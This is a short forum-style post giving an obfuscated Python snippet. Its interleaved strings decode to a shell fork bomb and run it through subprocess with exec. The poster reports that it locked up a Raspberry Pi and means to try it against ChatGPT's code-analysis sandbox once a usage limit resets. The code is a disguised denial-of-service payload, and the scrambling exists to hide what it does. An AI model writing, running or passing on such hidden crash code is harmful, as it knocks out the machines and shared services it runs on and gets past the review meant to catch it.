Not a bad idea, and this should do it I think:

a = 'f) |&}f'
b = '({ff ;'
c = ''
for i in range(len(a) + len(b)):
    if i % 2 == 0:
        c += a[i//2]
    else:
        c += b[i//2]
d = 'ipr upoes'
e = 'motsbrcs'
f = ''
for i in range(len(d) + len(e)):
    if i % 2 == 0:
        f += d[i//2]
    else:
        f += e[i//2]
g = 'sbrcs.u(,hl=re'
h = 'upoesrncselTu)'
j = ''
for i in range(len(g) + len(h)):
    if i % 2 == 0:
        j += g[i//2]
    else:
        j += h[i//2]
exec(f)
exec(j)

Used the example from the wiki page you linked, and running this on my Raspberry Pi did manage to make the system essentially lock up. I couldn’t even open a terminal to reboot - I just had to cut power. But I can’t run any more code analysis with ChatGPT for like 16 hours so I won’t get to test it for a while. I’m somewhat doubtful it’ll work since the wiki page itself mentions various ways to protect against it though.
